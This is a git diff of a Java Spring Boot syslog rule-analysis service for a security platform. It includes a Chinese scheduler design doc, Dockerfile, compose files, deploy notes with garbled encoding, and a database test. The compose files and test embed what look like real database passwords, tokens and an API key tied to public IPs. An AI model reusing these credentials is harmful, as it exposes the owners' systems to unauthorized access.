|
||||
@Test
|
||||
void contextLoads() {
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
FROM openjdk:8
|
||||
|
||||
MAINTAINER chenchunan@139.com
|
||||
|
||||
# 创建程序运行和日志目录
|
||||
RUN mkdir -p /app
|
||||
RUN mkdir -p /app/logs
|
||||
WORKDIR /app
|
||||
# 挂载日志运行目录
|
||||
VOLUME /app/logs
|
||||
|
||||
ADD syslog-consumer-rule-1.0.0.jar syslog-consumer-rule.jar
|
||||
EXPOSE 8289
|
||||
CMD java -jar syslog-consumer-rule.jar
|
||||
|
||||
|
||||
@@ -0,0 +1,177 @@
|
||||
# 实时分析调度器设计方案
|
||||
|
||||
## 概述
|
||||
|
||||
每个规则根据窗口类型(滚动、滑动、会话)独立管理下次运行时间,而不是所有规则统一每30秒执行一次。
|
||||
|
||||
## 核心设计
|
||||
|
||||
### 1. 窗口类型与执行间隔映射
|
||||
|
||||
| 窗口类型 | 配置参数 | 执行间隔 | 示例 |
|
||||
|---------|---------|---------|------|
|
||||
| **TUMBLE**<br/>滚动窗口 | `tumble_window_size` + `tumble_window_size_unit` | 等于窗口大小 | 窗口5分钟 → 每5分钟执行 |
|
||||
| **HOP**<br/>滑动窗口 | `hop_slide` + `hop_slide_unit` | 等于滑动步长 | 步长5分钟 → 每5分钟执行 |
|
||||
| **SESSION**<br/>会话窗口 | `session_window_size` + `session_window_size_unit` | 等于会话超时时间 | 超时30分钟 → 每30分钟执行 |
|
||||
| **NONE**<br/>无窗口 | - | 默认30秒 | 每30秒执行 |
|
||||
|
||||
### 2. 执行流程
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ 应用启动 │
|
||||
│ └─> initAllRules() │
|
||||
│ └─> 加载所有实时规则 │
|
||||
│ └─> 为每个规则初始化下次执行时间(Redis) │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ 定时调度(每10秒检查一次) │
|
||||
│ └─> checkAndExecuteRules() │
|
||||
│ └─> 查询所有实时规则 │
|
||||
│ └─> 对每个规则: │
|
||||
│ ├─> 获取下次执行时间(Redis) │
|
||||
│ ├─> 判断是否到执行时间 │
|
||||
│ │ ├─> 是 → 执行规则 → 更新下次执行时间 │
|
||||
│ │ └─> 否 → 跳过 │
|
||||
│ └─> 继续下一个规则 │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### 3. 时间计算逻辑
|
||||
|
||||
#### TUMBLE(滚动窗口)
|
||||
```
|
||||
下次执行时间 = 当前时间 + 窗口大小
|
||||
```
|
||||
|
||||
**示例**:
|
||||
- 窗口大小:5分钟
|
||||
- 执行时间:10:00:00
|
||||
- 下次执行:10:05:00
|
||||
|
||||
#### HOP(滑动窗口)
|
||||
```
|
||||
下次执行时间 = 当前时间 + 滑动步长
|
||||
```
|
||||
|
||||
**示例**:
|
||||
- 窗口大小:10分钟,步长:5分钟
|
||||
- 执行时间:10:00:00
|
||||
- 下次执行:10:05:00
|
||||
|
||||
#### SESSION(会话窗口)
|
||||
```
|
||||
下次执行时间 = 当前时间 + 会话超时时间
|
||||
```
|
||||
|
||||
**示例**:
|
||||
- 会话超时:30分钟
|
||||
- 执行时间:10:00:00
|
||||
- 下次执行:10:30:00
|
||||
|
||||
## 数据结构
|
||||
|
||||
### Redis Key 设计
|
||||
|
||||
```
|
||||
rule:next_execute:{ruleId}
|
||||
```
|
||||
|
||||
**示例**:
|
||||
```
|
||||
rule:next_execute:rule-001 -> "2026-02-27 10:30:00"
|
||||
rule:next_execute:rule-002 -> "2026-02-27 10:00:00"
|
||||
```
|
||||
|
||||
**过期时间**:30天
|
||||
|
||||
## 配置示例
|
||||
|
||||
### application.yml
|
||||
|
||||
```yaml
|
||||
spring:
|
||||
redis:
|
||||
host: localhost
|
||||
port: 6379
|
||||
password:
|
||||
database: 0
|
||||
timeout: 3000
|
||||
|
||||
analysis:
|
||||
realtime:
|
||||
enabled: true
|
||||
# 检查间隔(秒) - 频率越高越精确,但消耗资源
|
||||
check-interval-seconds: 10
|
||||
offline:
|
||||
enabled: true
|
||||
cron-expression: "0 0 */1 * * ?"
|
||||
```
|
||||
|
||||
### pom.xml(添加Redis依赖)
|
||||
|
||||
```xml
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-data-redis</artifactId>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
## 核心组件
|
||||
|
||||
### 1. RuleExecutionTimeService
|
||||
规则执行时间管理服务接口,负责:
|
||||
- 获取规则下次执行时间
|
||||
- 更新规则下次执行时间(根据窗口类型计算)
|
||||
- 初始化规则执行时间
|
||||
- 删除规则执行时间
|
||||
|
||||
### 2. RuleExecutionTimeServiceImpl
|
||||
规则执行时间管理服务实现(基于Redis),核心方法:
|
||||
- `calculateTumbleNextExecuteTime()`: 计算滚动窗口下次执行时间
|
||||
- `calculateHopNextExecuteTime()`: 计算滑动窗口下次执行时间
|
||||
- `calculateSessionNextExecuteTime()`: 计算会话窗口下次执行时间
|
||||
|
||||
### 3. RealtimeAnalysisScheduler
|
||||
实时分析调度器,核心逻辑:
|
||||
- 应用启动时初始化所有规则执行时间
|
||||
- 每10秒检查一次规则是否需要执行
|
||||
- 根据窗口类型独立计算下次执行时间
|
||||
|
||||
## 日志示例
|
||||
|
||||
### 初始化日志
|
||||
```
|
||||
INFO - ========== 初始化实时分析调度器 ==========
|
||||
INFO - 查询到 3 个实时分析规则
|
||||
INFO - 初始化规则: ruleId=001, ruleName=暴力破解检测, windowType=HOP, nextExecuteTime=2026-02-27 10:05:00
|
||||
INFO - 初始化规则: ruleId=002, ruleName=端口扫描检测, windowType=TUMBLE, nextExecuteTime=2026-02-27 10:05:00
|
||||
INFO - 初始化规则: ruleId=003, ruleName=会话异常检测, windowType=SESSION, nextExecuteTime=2026-02-27 10:30:00
|
||||
INFO - ========== 实时分析调度器初始化完成 ==========
|
||||
```
|
||||
|
||||
### 执行日志
|
||||
```
|
||||
INFO - 执行规则: ruleId=001, ruleName=暴力破解检测, nextTime=2026-02-27 10:05:00, now=2026-02-27 10:05:00
|
||||
INFO - 滑动窗口下次执行时间: 步长=5m,nextTime=2026-02-27 10:10:00
|
||||
INFO - 更新规则下次执行时间,ruleId=001, ruleName=暴力破解检测, windowType=HOP, nextExecuteTime=2026-02-27 10:10:00
|
||||
INFO - 本次调度执行规则数: 1, 跳过规则数: 2
|
||||
```
|
||||
|
||||
## 优势
|
||||
|
||||
1. ✅ **独立周期**:每个规则根据窗口类型独立配置执行周期
|
||||
2. ✅ **高性能**:Redis缓存,每次检查只需毫秒级
|
||||
3. ✅ **分布式支持**:多节点共享Redis,避免重复执行
|
||||
4. ✅ **动态调整**:运行时修改窗口配置,下次执行自动生效
|
||||
5. ✅ **资源优化**:避免低频规则频繁执行浪费资源
|
||||
|
||||
## 注意事项
|
||||
|
||||
1. **Redis依赖**:需要安装并启动Redis服务
|
||||
2. **时间精度**:调度检查间隔默认10秒,可根据需要调整
|
||||
3. **窗口配置**:规则必须配置窗口类型和大小参数
|
||||
4. **异常恢复**:应用重启后,Redis中记录的执行时间保持不变
|
||||
5. **并发控制**:同一规则同时只能有一个实例在执行
|
||||
+116
@@ -0,0 +1,116 @@
|
||||
# ============================================
|
||||
# Syslog Consumer 部署配置
|
||||
# ============================================
|
||||
# 使用方法: docker compose -f docker-compose-consumer.yaml up -d
|
||||
# ============================================
|
||||
|
||||
|
||||
services:
|
||||
# ============================================
|
||||
# Syslog Consumer - 数据消费服务 (平台端)
|
||||
# ============================================
|
||||
syslog-consumer:
|
||||
build:
|
||||
context: ./syslog-consumer-rule
|
||||
dockerfile: Dockerfile
|
||||
image: syslog-consumer-rule:1.2.0
|
||||
container_name: syslog-consumer-rule
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
# 环境配置
|
||||
- SPRING_PROFILES_ACTIVE=dev
|
||||
- TZ=Asia/Shanghai
|
||||
# 数据库配置
|
||||
- spring.datasource.url=jdbc:postgresql://117.72.68.72:54329/ecosys
|
||||
- spring.datasource.username=postgres
|
||||
- spring.datasource.password=TnLanWaidYSwTSG5
|
||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||
# HikariCP 连接池配置
|
||||
- spring.datasource.hikari.maximum-pool-size=50
|
||||
- spring.datasource.hikari.minimum-idle=5
|
||||
- spring.datasource.hikari.connection-timeout=30000
|
||||
- spring.datasource.hikari.idle-timeout=600000
|
||||
- spring.datasource.hikari.max-lifetime=900000
|
||||
- spring.datasource.hikari.pool-name=HikariPool-SyslogConsumer
|
||||
- spring.datasource.hikari.auto-commit=false
|
||||
- spring.datasource.hikari.schema=public
|
||||
# Redis配置
|
||||
- spring.redis.host=192.168.222.131
|
||||
- spring.redis.port=6379
|
||||
- spring.redis.password=
|
||||
- spring.redis.database=0
|
||||
- spring.redis.timeout=2000
|
||||
- spring.cache.redis.time-to-live=600000
|
||||
# Kafka配置
|
||||
- spring.kafka.consumer.bootstrap-servers=192.168.222.130:9092
|
||||
- spring.kafka.consumer.group-id=test-group-app
|
||||
- spring.kafka.consumer.auto-offset-reset=latest
|
||||
- spring.kafka.consumer.enable-auto-commit=false
|
||||
- spring.kafka.consumer.topic=test-topic
|
||||
- spring.kafka.consumer.max-poll-records=1000
|
||||
- spring.kafka.listener.ack-mode=manual
|
||||
- spring.kafka.listener.concurrency=2
|
||||
- spring.kafka.listener.type=batch
|
||||
# InfluxDB配置
|
||||
- influxdb.url=http://192.168.222.131:8086
|
||||
- influxdb.token=3Tvu-IZWtaY03UDkbUDlufD0kxn85keo9LhYQcv2Cxk0LJmXqqHkNVrO664DbaJAYwoGI7UIg904KqZC7Q_ZFA==
|
||||
- influxdb.org=yelang
|
||||
- influxdb.bucket=yelangbucket
|
||||
- influxdb.batch.size=1000
|
||||
- influxdb.flush.interval=1000
|
||||
- influxdb.connection.timeout=30s
|
||||
- influxdb.connection.read-timeout=30s
|
||||
- influxdb.connection.write-timeout=60s
|
||||
# Elasticsearch配置
|
||||
- spring.elasticsearch.uris=http://192.168.1.174:9200
|
||||
- spring.elasticsearch.username=CONTAINER_NAME
|
||||
- spring.elasticsearch.password=t2NZCiajmdazxBrF
|
||||
- spring.elasticsearch.connection-timeout=10s
|
||||
- spring.elasticsearch.socket-timeout=30s
|
||||
# API配置
|
||||
- interlocking.api-key=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
|
||||
- interlocking.api.base-url=http://192.168.222.131:8089/xdrservice/interlocking
|
||||
# 探针心跳配置
|
||||
- probe.heartbeat.enabled=true
|
||||
- probe.heartbeat.offline-threshold-minutes=10
|
||||
- probe.status.check.cron=0 */10 * * * ?
|
||||
- probe.heartbeat.tenant-id=000000
|
||||
- probe.heartbeat.history.keep-days=10
|
||||
- probe.heartbeat.history.cleanup-enabled=true
|
||||
- probe.history.cleanup.cron=0 0 1 * * ?
|
||||
# 告警健康检查配置
|
||||
- alarm.health-check.alarm-hours=4
|
||||
- alarm.health-check.alarm-visit-hours=2
|
||||
- alarm.health-check.enabled=true
|
||||
# 关联分析规则配置
|
||||
- analysis.realtime.enabled=true
|
||||
- analysis.realtime.check-interval-seconds=10
|
||||
# 分区表检查配置
|
||||
- partition.check.tomorrow.enabled=true
|
||||
- partition.check.future.days=7
|
||||
- partition.auto.create=true
|
||||
# 定时任务配置
|
||||
- spring.task.scheduling.pool.size=10
|
||||
# 日志配置
|
||||
- logging.level.com.common.schedule=INFO
|
||||
- logging.level.com.common.service=INFO
|
||||
# ETL配置
|
||||
- etl.batch.page-size=1000
|
||||
- etl.batch.insert-batch-size=500
|
||||
- etl.schedule.cron=0 0 2 * * ?
|
||||
# JVM配置
|
||||
- JAVA_OPTS=-Xms512m -Xmx1024m -XX:+UseG1GC -XX:MaxGCPauseMillis=200
|
||||
ports:
|
||||
- "8089:8089"
|
||||
volumes:
|
||||
- /home/syslog/logs:/app/logs
|
||||
networks:
|
||||
- xdr-network
|
||||
|
||||
|
||||
# ============================================
|
||||
# 网络配置
|
||||
# ============================================
|
||||
networks:
|
||||
xdr-network:
|
||||
driver: bridge
|
||||
+85
@@ -0,0 +1,85 @@
|
||||
# ============================================
|
||||
# Syslog Consumer 部署配置
|
||||
# ============================================
|
||||
# 使用方法: docker compose -f docker-compose-consumer.yaml up -d
|
||||
# ============================================
|
||||
|
||||
|
||||
services:
|
||||
# ============================================
|
||||
# Syslog Consumer-rule - 数据消费规则服务(平台端)
|
||||
# ============================================
|
||||
syslog-consumer:
|
||||
build:
|
||||
context: ./consumer-rule
|
||||
dockerfile: Dockerfile
|
||||
image: syslog-consumer-rule:1.0.1
|
||||
container_name: syslog-consumer-rule
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
# 环境配置
|
||||
- SPRING_PROFILES_ACTIVE=prod
|
||||
- TZ=Asia/Shanghai
|
||||
# 数据库配置
|
||||
- spring.datasource.url=jdbc:postgresql://192.168.4.26:5432/ecosys
|
||||
- spring.datasource.username=postgres
|
||||
- spring.datasource.password=caZ2TcmXNSW8L2Ap
|
||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||
# HikariCP 连接池配置
|
||||
- spring.datasource.hikari.maximum-pool-size=50
|
||||
- spring.datasource.hikari.minimum-idle=5
|
||||
- spring.datasource.hikari.connection-timeout=30000
|
||||
- spring.datasource.hikari.idle-timeout=600000
|
||||
- spring.datasource.hikari.max-lifetime=900000
|
||||
- spring.datasource.hikari.pool-name=HikariPool-SyslogConsumer
|
||||
- spring.datasource.hikari.auto-commit=false
|
||||
- spring.datasource.hikari.schema=public
|
||||
# Redis配置
|
||||
- spring.redis.host=192.168.4.26
|
||||
- spring.redis.port=6379
|
||||
- spring.redis.password=123456
|
||||
- spring.redis.database=0
|
||||
- spring.redis.timeout=2000
|
||||
- spring.cache.redis.time-to-live=600000
|
||||
# Kafka配置
|
||||
- spring.kafka.consumer.bootstrap-servers=192.168.4.26:9092
|
||||
- spring.kafka.consumer.group-id=agent-01-syslog-group
|
||||
- spring.kafka.consumer.auto-offset-reset=latest
|
||||
- spring.kafka.consumer.enable-auto-commit=false
|
||||
- spring.kafka.consumer.topic=agenet-01-syslog-topic
|
||||
- spring.kafka.consumer.max-poll-records=1000
|
||||
- spring.kafka.listener.ack-mode=manual
|
||||
- spring.kafka.listener.concurrency=2
|
||||
- spring.kafka.listener.type=batch
|
||||
# InfluxDB配置
|
||||
- influxdb.url=http://192.168.4.26:8087
|
||||
- influxdb.token=LFjXZyRxTf1V84oN-wwjhSjS4qIK-ZMoHzQJB67ir3qHNSBVJbMcTkPuNmM0cNxvzFEDWLYNzrz1VJKMitY5hw==
|
||||
- influxdb.org=influxdb
|
||||
- influxdb.bucket=yelangbucket
|
||||
- influxdb.batch.size=1000
|
||||
- influxdb.flush.interval=1000
|
||||
- influxdb.connection.timeout=30s
|
||||
- influxdb.connection.read-timeout=30s
|
||||
- influxdb.connection.write-timeout=60s
|
||||
# 定时任务配置
|
||||
- spring.task.scheduling.pool.size=10
|
||||
# 日志配置
|
||||
- logging.level.com.common.schedule=INFO
|
||||
- logging.level.com.common.service=INFO
|
||||
|
||||
# JVM配置
|
||||
- JAVA_OPTS=-Xms1024m -Xmx4096m -XX:+UseG1GC -XX:MaxGCPauseMillis=200
|
||||
ports:
|
||||
- "8289:8289"
|
||||
volumes:
|
||||
- /home/syslog/logs:/app/logs
|
||||
networks:
|
||||
- xdr-network
|
||||
#
|
||||
# ============================================
|
||||
# 网络配置
|
||||
# ============================================
|
||||
networks:
|
||||
xdr-network:
|
||||
driver: bridge
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
# ============================================
|
||||
# Syslog Consumer 部署配置
|
||||
# ============================================
|
||||
# 使用方法: docker compose -f docker-compose-consumer.yaml up -d
|
||||
# ============================================
|
||||
|
||||
|
||||
services:
|
||||
# ============================================
|
||||
# Syslog Consumer - 数据消费服务 (平台端)
|
||||
# ============================================
|
||||
syslog-consumer:
|
||||
build:
|
||||
context: ./syslog-consumer-rule
|
||||
dockerfile: Dockerfile
|
||||
image: syslog-consumer-rule:1.0.1
|
||||
container_name: syslog-consumer-rule
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
# 环境配置
|
||||
- SPRING_PROFILES_ACTIVE=dev
|
||||
- TZ=Asia/Shanghai
|
||||
# 数据库配置
|
||||
- spring.datasource.url=jdbc:postgresql://117.72.68.72:54329/ecosys
|
||||
- spring.datasource.username=postgres
|
||||
- spring.datasource.password=TnLanWaidYSwTSG5
|
||||
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||
# HikariCP 连接池配置
|
||||
- spring.datasource.hikari.maximum-pool-size=50
|
||||
- spring.datasource.hikari.minimum-idle=5
|
||||
- spring.datasource.hikari.connection-timeout=30000
|
||||
- spring.datasource.hikari.idle-timeout=600000
|
||||
- spring.datasource.hikari.max-lifetime=900000
|
||||
- spring.datasource.hikari.pool-name=HikariPool-SyslogConsumer
|
||||
- spring.datasource.hikari.auto-commit=false
|
||||
- spring.datasource.hikari.schema=public
|
||||
# Redis配置
|
||||
- spring.redis.host=192.168.222.131
|
||||
- spring.redis.port=6379
|
||||
- spring.redis.password=
|
||||
- spring.redis.database=0
|
||||
- spring.redis.timeout=2000
|
||||
- spring.cache.redis.time-to-live=600000
|
||||
# Kafka配置
|
||||
- spring.kafka.consumer.bootstrap-servers=192.168.222.130:9092
|
||||
- spring.kafka.consumer.group-id=test-group-app
|
||||
- spring.kafka.consumer.auto-offset-reset=latest
|
||||
- spring.kafka.consumer.enable-auto-commit=false
|
||||
- spring.kafka.consumer.topic=test-topic
|
||||
- spring.kafka.consumer.max-poll-records=1000
|
||||
- spring.kafka.listener.ack-mode=manual
|
||||
- spring.kafka.listener.concurrency=2
|
||||
- spring.kafka.listener.type=batch
|
||||
# InfluxDB配置
|
||||
- influxdb.url=http://192.168.222.131:8086
|
||||
- influxdb.token=3Tvu-IZWtaY03UDkbUDlufD0kxn85keo9LhYQcv2Cxk0LJmXqqHkNVrO664DbaJAYwoGI7UIg904KqZC7Q_ZFA==
|
||||
- influxdb.org=yelang
|
||||
- influxdb.bucket=yelangbucket
|
||||
- influxdb.batch.size=1000
|
||||
- influxdb.flush.interval=1000
|
||||
- influxdb.connection.timeout=30s
|
||||
- influxdb.connection.read-timeout=30s
|
||||
- influxdb.connection.write-timeout=60s
|
||||
|
||||
# 定时任务配置
|
||||
- spring.task.scheduling.pool.size=10
|
||||
# 日志配置
|
||||
- logging.level.com.common.schedule=INFO
|
||||
- logging.level.com.common.service=INFO
|
||||
# JVM配置
|
||||
- JAVA_OPTS=-Xms1024m -Xmx4096m -XX:+UseG1GC -XX:MaxGCPauseMillis=200
|
||||
ports:
|
||||
- "8289:8289"
|
||||
volumes:
|
||||
- /home/syslog/logs:/app/logs
|
||||
networks:
|
||||
- xdr-network
|
||||
|
||||
# ============================================
|
||||
# 网络配置
|
||||
# ============================================
|
||||
networks:
|
||||
xdr-network:
|
||||
driver: bridge
|
||||
@@ -0,0 +1,24 @@
|
||||
|
||||
--0.�л�����˴��Ŀ¼
|
||||
cd /opt/syslog/docker/consumer-rule
|
||||
|
||||
|
||||
--1.�鿴����������
|
||||
docker ps -a
|
||||
|
||||
--2.���docker image�ļ� (Dockerfile ��ǰĿ¼��
|
||||
docker build -t syslog-consumer-rule:v1.X.X .
|
||||
|
||||
|
||||
--3.ֹͣ���� ��ɾ��
|
||||
docker stop syslog-consumer-rule && docker rm syslog-consumer-rule
|
||||
|
||||
--4.����docker �ļ�
|
||||
docker run --restart unless-stopped -e TZ=Asia/Shanghai -d --name ct-syslog-consumer-rule -p 8289:8289 -v /home/syslog/logs:/app/logs --privileged=true syslog-consumer-rule:v1.X.X
|
||||
�ڳ�CMD��
|
||||
docker run --restart unless-stopped -e TZ=Asia/Shanghai -d --name ct-syslog-consumer-rule -p 8289:8289 -v /data/syslog/logs:/app/logs --privileged=true syslog-consumer-rule:v1.X.X
|
||||
|
||||
--������������
|
||||
docker run -d --name ct-syslog-consumer-rule -p 8089:8089 --privileged=true syslog-consumer-rule:v1.X.X
|
||||
|
||||
|
||||
@@ -0,0 +1,224 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<parent>
|
||||
<artifactId>security-xdr</artifactId>
|
||||
<groupId>com.haobang</groupId>
|
||||
<version>1.0.0</version>
|
||||
</parent>
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<name>syslog-consumer-rule</name>
|
||||
<artifactId>syslog-consumer-rule</artifactId>
|
||||
<version>1.0.0</version>
|
||||
|
||||
<properties>
|
||||
<java.version>1.8</java.version>
|
||||
<influxdb-client.version>6.9.0</influxdb-client.version>
|
||||
<slf4j.version>1.7.36</slf4j.version>
|
||||
<logback.version>1.2.11</logback.version>
|
||||
<config.version>1.4.2</config.version>
|
||||
<junit.version>5.9.2</junit.version>
|
||||
<maven.compiler.source>1.8</maven.compiler.source>
|
||||
<maven.compiler.target>1.8</maven.compiler.target>
|
||||
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
<mybatis.version>3.5.10</mybatis.version>
|
||||
<postgresql.version>42.5.4</postgresql.version>
|
||||
<pagehelper.version>1.4.6</pagehelper.version>
|
||||
</properties>
|
||||
<description>syslog-consumer-rule</description>
|
||||
<packaging>jar</packaging>
|
||||
|
||||
<dependencies>
|
||||
<!-- Spring Boot Starter (包含事务管理) -->
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter</artifactId>
|
||||
<version>2.7.4</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-web</artifactId>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.apache.kafka</groupId>
|
||||
<artifactId>kafka-clients</artifactId>
|
||||
<version>3.4.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework.kafka</groupId>
|
||||
<artifactId>spring-kafka</artifactId>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.slf4j</groupId>
|
||||
<artifactId>slf4j-simple</artifactId>
|
||||
<version>2.0.7</version>
|
||||
</dependency>
|
||||
<!-- InfluxDB Client for Java -->
|
||||
<dependency>
|
||||
<groupId>com.influxdb</groupId>
|
||||
<artifactId>influxdb-client-java</artifactId>
|
||||
<version>${influxdb-client.version}</version>
|
||||
</dependency>
|
||||
|
||||
<!-- 配置管理 -->
|
||||
<dependency>
|
||||
<groupId>com.typesafe</groupId>
|
||||
<artifactId>config</artifactId>
|
||||
<version>${config.version}</version>
|
||||
</dependency>
|
||||
|
||||
<!-- 日志 -->
|
||||
<dependency>
|
||||
<groupId>org.slf4j</groupId>
|
||||
<artifactId>slf4j-api</artifactId>
|
||||
<version>${slf4j.version}</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>ch.qos.logback</groupId>
|
||||
<artifactId>logback-classic</artifactId>
|
||||
<version>${logback.version}</version>
|
||||
</dependency>
|
||||
|
||||
<!-- MyBatis核心库 -->
|
||||
<dependency>
|
||||
<groupId>org.mybatis</groupId>
|
||||
<artifactId>mybatis</artifactId>
|
||||
<version>${mybatis.version}</version>
|
||||
</dependency>
|
||||
|
||||
<!-- PostgreSQL驱动 -->
|
||||
<dependency>
|
||||
<groupId>org.postgresql</groupId>
|
||||
<artifactId>postgresql</artifactId>
|
||||
<version>${postgresql.version}</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.fasterxml.jackson.core</groupId>
|
||||
<artifactId>jackson-databind</artifactId>
|
||||
<version>2.13.3</version>
|
||||
</dependency>
|
||||
|
||||
|
||||
<dependency>
|
||||
<groupId>org.mybatis.spring.boot</groupId>
|
||||
<artifactId>mybatis-spring-boot-starter</artifactId>
|
||||
<version>2.3.1</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-jdbc</artifactId>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.json</groupId>
|
||||
<artifactId>json</artifactId>
|
||||
<version>20231013</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.projectlombok</groupId>
|
||||
<artifactId>lombok</artifactId>
|
||||
<version>1.18.24</version>
|
||||
<scope>provided</scope>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.alibaba</groupId>
|
||||
<artifactId>fastjson</artifactId>
|
||||
<version>1.2.83</version>
|
||||
</dependency>
|
||||
|
||||
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-validation</artifactId>
|
||||
</dependency>
|
||||
<!-- 如果使用 Quartz 调度器(可选) -->
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-quartz</artifactId>
|
||||
</dependency>
|
||||
|
||||
|
||||
<!-- Spring Boot 缓存 -->
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-cache</artifactId>
|
||||
</dependency>
|
||||
|
||||
<!-- Redis 缓存实现 -->
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-data-redis</artifactId>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.fasterxml.jackson.datatype</groupId>
|
||||
<artifactId>jackson-datatype-jsr310</artifactId>
|
||||
</dependency>
|
||||
|
||||
<!-- Elasticsearch -->
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-data-elasticsearch</artifactId>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.baomidou</groupId>
|
||||
<artifactId>mybatis-plus-boot-starter</artifactId>
|
||||
<version>3.5.3.1</version>
|
||||
</dependency>
|
||||
|
||||
<!-- PageHelper分页插件 -->
|
||||
<dependency>
|
||||
<groupId>com.github.pagehelper</groupId>
|
||||
<artifactId>pagehelper-spring-boot-starter</artifactId>
|
||||
<version>${pagehelper.version}</version>
|
||||
</dependency>
|
||||
|
||||
<!-- 测试 -->
|
||||
<dependency>
|
||||
<groupId>org.junit.jupiter</groupId>
|
||||
<artifactId>junit-jupiter</artifactId>
|
||||
<version>${junit.version}</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
|
||||
<dependency>
|
||||
<groupId>com.dameng</groupId>
|
||||
<artifactId>DmJdbcDriver18</artifactId>
|
||||
<version>8.1.2.141</version> <!-- 请根据你的数据库版本替换 -->
|
||||
</dependency>
|
||||
<!-- Bouncy Castle 国密算法支持 -->
|
||||
<dependency>
|
||||
<groupId>org.bouncycastle</groupId>
|
||||
<artifactId>bcprov-jdk15to18</artifactId>
|
||||
<version>1.78</version> <!-- 兼容 Java 1.8 -->
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-maven-plugin</artifactId>
|
||||
</plugin>
|
||||
</plugins>
|
||||
<resources>
|
||||
<resource>
|
||||
<directory>src/main/resources</directory>
|
||||
<filtering>false</filtering>
|
||||
</resource>
|
||||
</resources>
|
||||
</build>
|
||||
|
||||
</project>
|
||||
@@ -0,0 +1,55 @@
|
||||
package com.Modules;
|
||||
|
||||
import java.sql.*;
|
||||
|
||||
public class DMTDMTest {
|
||||
public static void main(String[] args) {
|
||||
// 连接信息
|
||||
String url = "jdbc:postgresql://139.9.39.176:16502/dameng";
|
||||
String user = "SYSDBA";
|
||||
String password = "Sysdba12345"; // 如果已修改密码,请替换为实际密码
|
||||
|
||||
Connection conn = null;
|
||||
Statement stmt = null;
|
||||
ResultSet rs = null;
|
||||
|
||||
try {
|
||||
// 1. 加载驱动(JDBC 4.0 后自动加载,但显式加载更稳妥)
|
||||
Class.forName("dm.jdbc.driver.DmDriver");
|
||||
System.out.println("达梦 JDBC 驱动加载成功");
|
||||
|
||||
// 2. 建立连接
|
||||
conn = DriverManager.getConnection(url, user, password);
|
||||
System.out.println("数据库连接成功!");
|
||||
|
||||
// 3. 执行查询(达梦支持 DUAL 表)
|
||||
stmt = conn.createStatement();
|
||||
rs = stmt.executeQuery("SELECT 1 FROM DUAL");
|
||||
|
||||
if (rs.next()) {
|
||||
int result = rs.getInt(1);
|
||||
System.out.println("查询结果: " + result);
|
||||
}
|
||||
|
||||
// 4. 可选:查询当前时间
|
||||
rs.close();
|
||||
rs = stmt.executeQuery("SELECT SYSDATE FROM DUAL");
|
||||
if (rs.next()) {
|
||||
Timestamp now = rs.getTimestamp(1);
|
||||
System.out.println("服务器当前时间: " + now);
|
||||
}
|
||||
|
||||
} catch (ClassNotFoundException e) {
|
||||
System.err.println("未找到达梦 JDBC 驱动,请检查 DmJdbcDriver18.jar 是否在 classpath 中");
|
||||
e.printStackTrace();
|
||||
} catch (SQLException e) {
|
||||
System.err.println("数据库连接或操作失败");
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
// 5. 关闭资源
|
||||
try { if (rs != null) rs.close(); } catch (SQLException e) { e.printStackTrace(); }
|
||||
